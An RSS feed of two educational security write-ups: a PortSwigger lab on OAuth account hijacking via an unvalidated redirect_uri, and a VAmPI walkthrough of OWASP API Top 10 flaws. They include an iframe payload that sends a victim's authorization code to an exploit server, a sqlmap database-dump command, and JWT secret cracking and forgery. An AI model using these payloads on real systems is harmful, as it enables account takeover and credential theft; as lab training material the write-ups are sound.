<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sambeet Kumar Swain on Medium]]></title>
        <description><![CDATA[Stories by Sambeet Kumar Swain on Medium]]></description>
        <link>https://medium.com/@sambeetkumars?source=rss-2fb2f5471841------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*THHI1rzWoElcCDSnsYORCg.jpeg</url>
            <title>Stories by Sambeet Kumar Swain on Medium</title>
            <link>https://medium.com/@sambeetkumars?source=rss-2fb2f5471841------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 13:35:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sambeetkumars/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OAuth Account Hijacking via redirect_uri (PortSwigger Lab)-A Practical Walkthrough]]></title>
            <link>https://meetcyber.net/oauth-account-hijacking-via-redirect-uri-portswigger-lab-a-practical-walkthrough-e238aeaec998?source=rss-2fb2f5471841------2</link>
            <guid isPermaLink="false">https://medium.com/p/e238aeaec998</guid>
            <category><![CDATA[redirect-uri]]></category>
            <category><![CDATA[oauth]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <category><![CDATA[account-hijacking]]></category>
            <dc:creator><![CDATA[Sambeet Kumar Swain]]></dc:creator>
            <pubDate>Mon, 20 Apr 2026 20:49:32 GMT</pubDate>
            <atom:updated>2026-04-20T20:51:20.104Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YUEU9Y23uLcZLE2vZoBXyg.png" /></figure><h3>Introduction</h3><p>OAuth is the backbone of modern “Login with Google/Facebook/GitHub” flows. When implemented correctly, it’s secure. But a single misconfiguration — an unvalidated redirect_uri — can allow an attacker to <strong>steal authorization codes</strong> and hijack any user&#39;s account, including admins.</p><p>In this writeup, I’ll walk through how I solved the PortSwigger Web Security Academy lab: <em>OAuth account hijacking via redirect_uri</em>, explaining the vulnerability, the attack chain, and the fix.</p><h3>What is OAuth and How Does It Work?</h3><p>OAuth 2.0 is an authorization framework that lets users grant third-party apps limited access to their accounts without sharing passwords. The typical flow looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Y0Ms7yFBUIL5EhdTVqgHQ.jpeg" /></figure><p>The key parameter in this flow is redirect_uri — it tells the OAuth server <strong>where to send the authorization code</strong> after the user logs in.</p><h3>The Vulnerability: Unvalidated redirect_uri</h3><p>OAuth servers are supposed to <strong>whitelist</strong> allowed redirect URIs during app registration. If a server blindly accepts <em>any</em> URI the client sends, an attacker can redirect the authorization code to <strong>their own server</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vp0LbwZ-ZB4NjUMWu36Aiw.jpeg" /><figcaption>The original OAuth authorization request captured in Burp Suite</figcaption></figure><h3>Step-by-Step Attack</h3><h3>Step 1: Reconnaissance — Intercept the OAuth Flow</h3><p>After logging in with wiener:peter, I captured the authorization request in Burp Suite:</p><pre>GET /auth?client_id=trp46vtgcj1u85okc5ldb<br>     &amp;redirect_uri=https://TARGET.web-security-academy.net/oauth-callback<br>     &amp;response_type=code<br>     &amp;scope=openid%20profile%20email</pre><h3>Step 2: Test the Misconfiguration in Burp Repeater</h3><p>I sent the request to Burp Repeater and changed the redirect_uri to point to my exploit server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BdRx8aGvip4bmnMm-XMEfQ.jpeg" /><figcaption>Server accepts any redirect_uri without validation — returns 302 to attacker’s domain</figcaption></figure><p>The server returned a 302 Found straight to my exploit server — <strong>confirming the vulnerability exists</strong>.</p><h3>Step 3: Craft the Malicious iframe on the Exploit Server</h3><p>I went to the <strong>Exploit Server</strong> and in the <strong>Body</strong> field, pasted this iframe:</p><pre>&lt;iframe src=&quot;https://oauth-0a3200f504c42bcd80f72988029b00ef.oauth-server.net/auth<br>  ?client_id=trp46vtgcj1u85okc5ldb<br>  &amp;redirect_uri=https://exploit-0af0002104f62b1b80382af0017a00e6.exploit-server.net<br>  &amp;response_type=code<br>  &amp;scope=openid%20profile%20email&quot;&gt;<br>&lt;/iframe&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VsOamin42O6UC44l7_A6Hg.jpeg" /><figcaption>Malicious iframe crafted on the exploit server — triggers silent OAuth flow for any logged-in victim</figcaption></figure><p>Then I clicked <strong>Store</strong> to save the exploit.</p><h3>Step 4: Deliver Directly to the Victim — No “View Exploit” Needed</h3><blockquote><em>⚠️ </em><strong><em>Important:</em></strong><em> I did NOT click “View Exploit”. Clicking it loads the exploit in </em>your own<em> browser, which has no active admin OAuth session — so no admin code gets generated. Instead, I went straight to </em><strong><em>“Deliver exploit to victim”</em></strong><em>.</em></blockquote><p>I clicked <strong>“Deliver exploit to victim”</strong> directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ylJFyvY5bmQpFsA1smyROA.jpeg" /><figcaption>Delivering the exploit directly to the victim — skipping ‘View Exploit’ entirely</figcaption></figure><p>This sends the malicious page to the <strong>admin user</strong>, whose browser already has an active OAuth session. When their browser loads the iframe, it silently hits the OAuth server, which generates an authorization code for the admin and redirects it straight to my exploit server.</p><h3>Step 5: Check the Access Log — Steal the Code</h3><p>Immediately after delivering the exploit, I went to the <strong>Access Log</strong> on the exploit server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r7DbJwKaobRFYK23MTZgbQ.jpeg" /><figcaption>Admin’s browser (IP: 10.0.4.43) hits our server — authorization code exposed in the URL</figcaption></figure><p>The log showed:</p><pre>10.0.4.43  &quot;GET /?code=V01aACxXZfPTvgpw4HT34iHq39JWRFN45noLxq9zWs_ HTTP/1.1&quot; 200<br>           user-agent: Mozilla/5.0 (Victim) Chrome/125.0.0.0</pre><p>Two things confirm this is the <strong>admin’s code</strong>, not mine:</p><ul><li>The IP 10.0.4.43 belongs to the victim&#39;s browser (not my IP 104.28.x.x)</li><li>The user-agent says (Victim) — Chrome, not my Firefox</li></ul><p>I copied the code: V01aACxXZfPTvgpw4HT34iHq39JWRFN45noLxq9zWs_</p><h3>Step 6: Use the Stolen Code to Log In as Admin</h3><p>First, I <strong>logged out</strong> of the blog website. Then I navigated to:</p><pre>https://TARGET.web-security-academy.net/oauth-callback?code=V01aACxXZfPTvgpw4HT34iHq39JWRFN45noLxq9zWs_</pre><blockquote><em>⚠️ </em><strong><em>Do this immediately</em></strong><em> — authorization codes expire within seconds to minutes.</em></blockquote><p>The OAuth flow completed automatically. I was now logged in as the <strong>administrator</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G22gCsKd_x1aDeTLfZgKIg.jpeg" /><figcaption>Successfully logged in as administrator using the stolen authorization code</figcaption></figure><h3>Step 7: Delete Carlos — Lab Solved ✅</h3><p>From the Admin Panel, I found and deleted the user carlos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WexcDymSm-Vkd8ctVswcXg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Q3QjsJGC6_z1FFjLpJq3g.jpeg" /><figcaption>Lab solved — full account takeover achieved via stolen OAuth authorization code</figcaption></figure><h3>Key Takeaways</h3><ul><li>Always test redirect_uri for open redirect issues during OAuth pentests</li><li>Skip “View Exploit” — deliver directly to the victim when exploiting session-dependent flows</li><li>The victim’s IP in the access log (10.0.x.x) vs your IP (104.x.x.x) confirms whose code was stolen</li><li>Authorization codes are <strong>single-use and short-lived</strong> — act fast after capture</li><li>This is classified as <strong>CWE-601</strong> (Open Redirect) combined with <strong>OAuth authorization code theft.</strong></li></ul><h3>References</h3><ul><li><a href="https://portswigger.net/web-security/oauth">PortSwigger Web Security Academy — OAuth vulnerabilities</a></li><li><a href="https://datatracker.ietf.org/doc/html/rfc6749">RFC 6749 — The OAuth 2.0 Authorization Framework</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP — Testing for OAuth Weaknesses</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e238aeaec998" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/oauth-account-hijacking-via-redirect-uri-portswigger-lab-a-practical-walkthrough-e238aeaec998">OAuth Account Hijacking via redirect_uri (PortSwigger Lab)-A Practical Walkthrough</a> was originally published in <a href="https://meetcyber.net/">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VAmPI: API Security Testing Walkthrough]]></title>
            <link>https://meetcyber.net/vampi-api-security-testing-walkthrough-3bc0cab70a8a?source=rss-2fb2f5471841------2</link>
            <guid isPermaLink="false">https://medium.com/p/3bc0cab70a8a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api-security-testing]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[owasp-api-security-top-10]]></category>
            <category><![CDATA[api-pentesting]]></category>
            <dc:creator><![CDATA[Sambeet Kumar Swain]]></dc:creator>
            <pubDate>Tue, 31 Mar 2026 18:06:42 GMT</pubDate>
            <atom:updated>2026-03-31T18:06:42.377Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*0WhdK5QtMMYGd_qX2qDPJg.png" /></figure><p>A hands-on guide to exploiting OWASP API Top 10 vulnerabilities using Burp Suite, Postman, SQLMap, and jwt_tool — on a deliberately vulnerable REST API.</p><p>By Sambeet Kumar Swain· March 31, 2026 ·</p><h4>Table of Contents</h4><ol><li>Introduction &amp; Lab Setup</li><li>Exploring the API — Reconnaissance</li><li>API1 — Broken Object Level Authorization (BOLA)</li><li>API2 — Broken Authentication &amp; Credential Stuffing</li><li>API3 — Broken Object Property Level Authorization (Mass Assignment)</li><li>API4 — Unrestricted Resource Consumption (Debug Endpoint)</li><li>API5 — Broken Function Level Authorization</li><li>API6 — Unrestricted Access to Sensitive Business Flows</li><li>API7 — Server-Side Request &amp; SQL Injection</li><li>API8 — Security Misconfiguration (JWT Weakness)</li><li>Conclusion</li></ol><h3>Introduction</h3><p>VAmPI (Vulnerable API) is a deliberately insecure REST API built by erev0s to help security practitioners learn and test the <a href="https://owasp.org/www-project-api-security/">OWASP API Security Top 10</a>. Unlike many other vulnerable-by-design applications, VAmPI ships as a lightweight Docker image, making it trivial to spin up and start attacking.</p><p>In this walkthrough I set up VAmPI on a Kali Linux VM, intercepted and replayed requests through <strong>Burp Suite</strong>, crafted API calls in <strong>Postman</strong>, automated database dumping with <strong>SQLMap</strong>, and forged JSON Web Tokens with <strong>jwt_tool</strong>. The result is a comprehensive, end-to-end tour of the most impactful API vulnerabilities in the wild today.</p><p>⚠️ <strong>Legal disclaimer:</strong> This walkthrough is for educational purposes only. Only perform these techniques against systems you own or have explicit written permission to test.</p><h3>1. Lab Setup</h3><h3>Running VAmPI with Docker</h3><p>Unlike docker-compose-based setups, I ran VAmPI as a single Docker container, passing the vulnerable mode and token TTL as environment variables. This keeps the setup minimal and fully portable on any machine with Docker installed.</p><pre>sudo docker run -d \<br>  -e vulnerable=1 \<br>  -e tokentimetolive=18000 \<br>  -p 5000:5000 \<br>  erev0s/vampi:latest</pre><p>The flag vulnerable=1 enables all intentional vulnerabilities. With tokentimetolive=18000, JWT tokens stay alive long enough to conduct testing without constant re-authentication. After the container starts, confirm it is running with sudo docker ps -a.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ouUGfrUsfvKnr9AtyXLGw.jpeg" /><figcaption><em>Starting VAmPI with sudo docker run and confirming the container is up via docker ps -a</em></figcaption></figure><h3>Exploring the API Spec via Swagger UI</h3><p>VAmPI exposes a Swagger UI at http://localhost:5000/ui/. This gives a full overview of every available endpoint — books, users, authentication — before sending a single request. It is the attacker&#39;s roadmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ZH6bd_FxsxbCxhsXjWEdg.jpeg" /><figcaption><em>VAmPI’s Swagger UI listing all available endpoints</em></figcaption></figure><h3>Populating the Database</h3><p>A fresh VAmPI container starts with an empty database. Hit the /createdb endpoint to seed it with dummy users and books.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Y5M67nBNsmbwfyK3FlUmg.jpeg" /><figcaption><em>GET /createdb — database seeded successfully</em></figcaption></figure><h3>Confirm the API is live by hitting the root endpoint:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YJz9SIUZxmR0G16d0HMAQw.png" /><figcaption><em>Root endpoint confirms VAmPI is running in vulnerable mode</em></figcaption></figure><h3>Integrating Postman with Burp Suite</h3><p>To intercept and replay Postman requests through Burp Suite, configure Postman to route traffic through Burp’s proxy listener at 127.0.0.1:8080. Open Postman Settings → Proxy and enable custom proxy configuration pointing at Burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MzhBfDfL2jh-VTDX7l3qqQ.jpeg" /><figcaption><em>Postman proxy settings configured to forward all requests to Burp on port 8080</em></figcaption></figure><p>On the Burp side, ensure the proxy listener is active on 127.0.0.1:8080. This allows every Postman request to be captured, modified, and replayed directly from Burp&#39;s Repeater tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZqywieqzJNwIVDQxkvleA.jpeg" /><figcaption><em>Burp Suite proxy listener running on 127.0.0.1:8080</em></figcaption></figure><h3>2. Reconnaissance — Probing the API</h3><p>Before exploiting vulnerabilities, spend a few minutes mapping the API’s behavior. Attempt to register a user that already exists, try logging in with a non-existent account, and probe user endpoints without authentication.</p><p>Attempting to register an already-registered username returns a clear error message: <em>“User already exists. Please Log in.”</em> — useful for username enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w7yY8SFCzwi1puXOr3tCJA.jpeg" /><figcaption><em>POST /users/v1/register — server confirms the user already exists, enabling username enumeration</em></figcaption></figure><p>Trying to log in with a username that does not exist returns a different error: <em>“Username does not exist”</em>. This distinct response, compared to the wrong-password message seen later, makes username enumeration trivial.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W87TBXD0u6M4lS3V437b6g.png" /><figcaption><em>POST /users/v1/login — different error message for non-existent username vs wrong password</em></figcaption></figure><p>Requesting a non-existent user via GET returns a 404 with <em>“User not found”</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zcHJ9QnItr7SwEK8joy-eA.png" /><figcaption><em>GET /users/v1/lalu — 404 confirming user does not exist</em></figcaption></figure><h3>3. API1 — Broken Object Level Authorization (BOLA) OWASP API1</h3><p>BOLA, formerly known as IDOR (Insecure Direct Object Reference), occurs when an API exposes object identifiers without verifying whether the requesting user has permission to access that specific object. In VAmPI, any unauthenticated caller can retrieve any user’s profile simply by knowing their username.</p><h3>User Object BOLA</h3><p>A GET request to /users/v1/lipu — without any authentication token — returns the user&#39;s email address in plaintext. No authorization check is performed server-side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T7EoDW-vUoK8wTEMnBx_Lg.png" /><figcaption><em>GET /users/v1/lipu — user profile returned without any auth token (BOLA)</em></figcaption></figure><h3>Book Secret BOLA</h3><p>The books endpoint similarly suffers from BOLA. Accessing /books/v1/bookTitle69 with another user&#39;s JWT returns the book&#39;s secret content, including the owner field. The server checks only that <em>a</em> valid token exists — not that it belongs to the book&#39;s owner.</p><p>First, register a new user (sambeet) and log in to obtain a token:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kUGpZRM2M9SJ42gTY1nfzA.jpeg" /><figcaption><em>Registering user ‘sambeet’ via POST /users/v1/register in Postman</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fdBQ-KUxx8U5EzWVnoAx-A.jpeg" /><figcaption><em>Logging in as sambeet — JWT auth_token returned</em></figcaption></figure><p>Without a token, accessing a specific book returns 401 Unauthorized:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EP0QIojLWR-Q_xjAppSM6Q.jpeg" /><figcaption><em>GET /books/v1/bookTitle77–401 Unauthorized without a Bearer token</em></figcaption></figure><p>After configuring the Bearer token in Postman’s Authorization tab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wkbxUKSmIZSvVzcehCAwqg.jpeg" /><figcaption><em>Setting the Bearer token in Postman Authorization</em></figcaption></figure><p>Using sambeet’s token to access a book owned by <strong>admin</strong> succeeds — returning both the book title and its secret content. The API never checks ownership.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QTIYNNXM4WUg3Bwo7LC-ww.jpeg" /><figcaption><em>GET /books/v1/bookTitle69 — secret content of admin’s book exposed using sambeet’s token</em></figcaption></figure><h3>4. API2 — Broken Authentication OWASP API2</h3><h3>Username Enumeration via Error Messages</h3><p>As noted during reconnaissance, VAmPI returns distinct error messages depending on whether the username exists. When a valid username is supplied with the wrong password, the API responds with: <em>“Password is not correct for the given username.”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GcKI-h3NVG0dnxaRlYqFiQ.jpeg" /><figcaption><em>POST /users/v1/login — different error message when username exists but password is wrong</em></figcaption></figure><p>This difference allows an attacker to enumerate valid usernames at scale using Burp Intruder before attempting credential stuffing.</p><h3>Credential Stuffing with Burp Intruder</h3><p>With valid usernames identified, use Burp Intruder in <strong>Cluster Bomb</strong> attack mode, setting payload positions on both username and password fields:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m3J4ZUj5Qmg4YfAybdJ6UA.jpeg" /><figcaption><em>Burp Intruder payload positions for username and password fields</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wq0niEvnPwlSjH9waf7X8g.jpeg" /><figcaption><em>Payload positions confirmed — both username and password marked for fuzzing</em></figcaption></figure><p>After running the attack with a wordlist, sort the results by response length. Request #183 (password: pass1, username: name1) returns a noticeably larger response (391 bytes vs 247 bytes for failed attempts) — indicating a successful login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RKBZSi8uwWN7Lf0jcnamvA.jpeg" /><figcaption><em>Burp Intruder results — request #183 with pass1/name1 stands out with a larger response length (391 bytes)</em></figcaption></figure><h3>5. API3 — Broken Object Property Level Authorization (Mass Assignment) OWASP API3</h3><p>Mass Assignment occurs when an API blindly accepts all properties in a request body and binds them to an object — including fields that should be read-only, like admin. In VAmPI&#39;s registration endpoint, the server happily accepts an &quot;admin&quot;: true field and grants administrator privileges to the newly created account.</p><p>Register a new user by including the undocumented admin flag in the request body:</p><pre>POST /users/v1/register<br>{<br>  &quot;username&quot;: &quot;samadmin&quot;,<br>  &quot;password&quot;: &quot;sam1&quot;,<br>  &quot;email&quot;: &quot;samadmin@mail.com&quot;,<br>  &quot;admin&quot;: true<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ypULsTfG_Sy6QufjPougag.jpeg" /><figcaption><em>Mass assignment — POST /users/v1/register with admin:true grants admin privileges</em></figcaption></figure><p>Verify the exploit by hitting the debug endpoint immediately after registration. The new user samadmin appears with &quot;admin&quot;: true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fpMMLgAvDMzzhu9EtJ4rLg.jpeg" /><figcaption><em>GET /users/v1/_debug confirms samadmin was created with admin privileges via mass assignment</em></figcaption></figure><h3>6. API4 — Unrestricted Access to Sensitive Business Flows (Debug Endpoint) OWASP API4</h3><p>VAmPI exposes a /users/v1/_debug endpoint that dumps the entire user database — including plaintext passwords — without requiring any authentication token. This is a textbook example of a sensitive endpoint left exposed in a production-like environment.</p><p>A simple unauthenticated GET request returns all usernames, emails, passwords, and admin flags:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RzPCtrUjEce8sSJgce6TRg.jpeg" /><figcaption><em>GET /users/v1/_debug — all user credentials including plaintext passwords returned with no auth</em></figcaption></figure><p>This single endpoint effectively undermines every other security control in the application.</p><h3>7. API5 — Broken Function Level Authorization OWASP API5</h3><p>Broken Function Level Authorization occurs when an API exposes privileged operations — such as deleting other users — without properly verifying whether the calling user actually holds admin rights. In VAmPI, the admin user’s credentials obtained from the debug endpoint can be used to log in and receive a valid JWT, then perform administrative actions.</p><p>Log in as admin using credentials obtained from the debug endpoint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iEm5q5Xb7uczWlR1EGCOkQ.jpeg" /><figcaption><em>POST /users/v1/login as admin — JWT auth_token received successfully</em></figcaption></figure><p>Using the admin token, attempt to change another user’s password via PUT /users/v1/admin/password. A non-admin token returns 401; the admin token succeeds with 204 No Content:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OxX-FYZWIly2FeUD8RLlKg.jpeg" /><figcaption><em>PUT /users/v1/admin/password — non-admin user (sambeet) successfully changes admin’s password (204 No Content)</em></figcaption></figure><p>The debug endpoint confirms the admin password has been changed by a non-admin user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nYrrOHMWbcTFefDm20cj3Q.jpeg" /><figcaption><em>GET /users/v1/_debug — admin’s password now shows sambeet(non-admin)changed_admin_password</em></figcaption></figure><p>With the forged admin token (covered in the JWT section), even a DELETE /users/v1/name1 request — which normally only admins can perform — can be executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NtJQgQHSKy0iQ9D0u-AqwA.jpeg" /><figcaption><em>DELETE /users/v1/name1 with non-admin token — 401: Only Admins may delete users!</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qp655jH1GghTq01Kr-pzJA.jpeg" /><figcaption><em>DELETE /users/v1/name1 with forged admin JWT — 200: User deleted.</em></figcaption></figure><h3>8. API6 — Unrestricted Access to Sensitive Business Flows — Books Enumeration OWASP API6</h3><p>Without any authorization check, listing all books via GET /books/v1 exposes every book title alongside its owner&#39;s username. An attacker can use this to map out the full data model before targeting individual records.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3aX_4Uy8mzGj_bFFUQmFbA.jpeg" /><figcaption><em>GET /books/v1 — all books and their owners returned without authorization</em></figcaption></figure><h3>9. API7 — SQL Injection OWASP API7</h3><h3>Manual Detection</h3><p>Appending a single quote to the username parameter in GET /users/v1/name1&#39; causes the application to throw a 500 Internal Server Error. The response body reveals a raw SQLAlchemy stack trace — confirming the endpoint is directly interpolating user input into a SQL query without sanitization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tn7OtgZMjWDZpNPabi5Wig.jpeg" /><figcaption><em>GET /users/v1/name1&#39; — SQLite OperationalError exposed in response, confirming SQL injection</em></figcaption></figure><h3>Automated Exploitation with SQLMap</h3><p>With injection confirmed, run SQLMap to automatically enumerate and dump the database:</p><pre>sqlmap -u &quot;http://192.168.11.139:5000/users/v1/*&quot; \<br>  --dbms=sqlite --dump-all --batch</pre><p>SQLMap identifies the injection point, retrieves both tables (books and users), and dumps all records — including every user&#39;s plaintext password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UWcE9AFsM8XY8s2Ziu9aew.jpeg" /><figcaption><em>SQLMap dumps both the books and users tables, revealing all credentials in plaintext</em></figcaption></figure><h3>10. API8 — Security Misconfiguration — JWT Secret Cracking &amp; Forgery OWASP API8</h3><p>VAmPI signs its JWT tokens with a weak, guessable secret key. By cracking the secret offline and forging a new token with an elevated sub claim, any attacker can impersonate any user — including admin.</p><h3>Step 1 — Crack the JWT Secret with jwt_tool</h3><p>First, obtain a valid JWT by logging in as any user (here: sambeet). Then pass the token to jwt_tool.py to inspect it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OKcR6x8jQxgTMVH7yBGMAg.jpeg" /><figcaption><em>jwt_tool.py initializing with sambeet’s JWT token</em></figcaption></figure><p>Run jwt_tool with the -C -d rockyou.txt flags to crack the HMAC secret using the classic RockYou wordlist:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OlsaAHkbpiF8IJzvXqiixg.jpeg" /><figcaption><em>jwt_tool cracks the secret — the signing key is ‘random’</em></figcaption></figure><p>The secret is cracked almost instantly: <strong>random</strong>. Decode the token to inspect its payload — sub is sambeet, with a 5-hour expiry window:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EHdjJIL3VRE9JX3AmLtD3Q.jpeg" /><figcaption><em>Decoded JWT payload — sub: sambeet, alg: HS256, issued at 01:23 UTC</em></figcaption></figure><h3>Step 2 — Forge an Admin Token</h3><p>Create a payload.json with the sub changed to admin and an extended expiry:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*I2JpQNL0tqEOqWoQLQ-nxA.jpeg" /><figcaption><em>Editing payload.json in nano — sub set to admin with far-future expiry</em></figcaption></figure><p>Install PyJWT and write a Python script (forge.py) to sign the forged payload with the cracked key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_0-_A-j3-MWP_hMsi7hFw.jpeg" /><figcaption><em>pip install pyjwt and opening forge.py in nano</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*trZWLXGSjlJay5zl8PmLag.jpeg" /><figcaption><em>forge.py — uses cracked secret ‘random’ to sign an admin JWT with HS256</em></figcaption></figure><p>Run the script to produce the forged token:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W7Pem7CW7MwtlMH547xB8w.jpeg" /><figcaption><em>python forge.py outputs the forged admin JWT</em></figcaption></figure><h3>Step 3 — Use the Forged Token</h3><p>Paste the forged token into Burp Repeater’s Authorization header and send a DELETE /users/v1/name1 request. With a non-admin token this returns 401; with the forged admin token it returns 200 and deletes the user.</p><h3>11. API9 — Improper Inventory Management — Update Any User’s Email OWASP API9</h3><p>The PUT /users/v1/:username/email endpoint allows any authenticated user to update <em>any other user&#39;s</em> email address — no ownership check is performed. Using the forged admin token, update name2&#39;s email to an arbitrary value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rj6CAufVcOPCCbG5lUY1Fw.jpeg" /><figcaption><em>PUT /users/v1/name2/email in Burp Repeater — request sent with forged admin token</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*saT3xykhn_ASfNr-EgMv8Q.jpeg" /><figcaption><em>PUT /users/v1/name2/email in Postman — email updated to cybergurucyberguru</em></figcaption></figure><p>No authorization logic prevents a user from modifying another user’s account details — a significant account takeover risk in any real API.</p><h3>Conclusion</h3><p>VAmPI packs an impressive range of real-world API vulnerabilities into a single Docker image. This walkthrough covered nine distinct attack categories from the OWASP API Security Top 10 — all exploited using tools already in the standard Kali Linux toolkit: Burp Suite, Postman, SQLMap, and jwt_tool.</p><p>The key takeaway is how each vulnerability compounds the others. The debug endpoint exposes credentials; those credentials enable authenticated exploitation of BOLA and function-level authorization flaws; the JWT weakness allows privilege escalation without ever needing a password. In a real environment, a single unauthenticated request to /users/v1/_debug could cascade into a complete API compromise.</p><p><strong>Mitigations at a glance:</strong></p><ul><li>Enforce authorization on every object-level endpoint — verify ownership, not just authentication</li><li>Return generic error messages — never disclose whether a username exists</li><li>Strip undocumented properties (like admin) from registration payloads server-side</li><li>Remove debug endpoints from any non-development environment</li><li>Use strong, randomly generated JWT secrets (&gt; 32 bytes); rotate them regularly</li><li>Use parameterized queries / ORMs correctly — never interpolate user input into SQL</li><li>Implement rate limiting and account lockout on authentication endpoints</li></ul><p>💡 If you want to dive deeper, check out the official <a href="https://github.com/erev0s/VAmPI">VAmPI GitHub repository</a> and the <a href="https://owasp.org/www-project-api-security/">OWASP API Security Project</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3bc0cab70a8a" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/vampi-api-security-testing-walkthrough-3bc0cab70a8a">VAmPI: API Security Testing Walkthrough</a> was originally published in <a href="https://meetcyber.net/">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>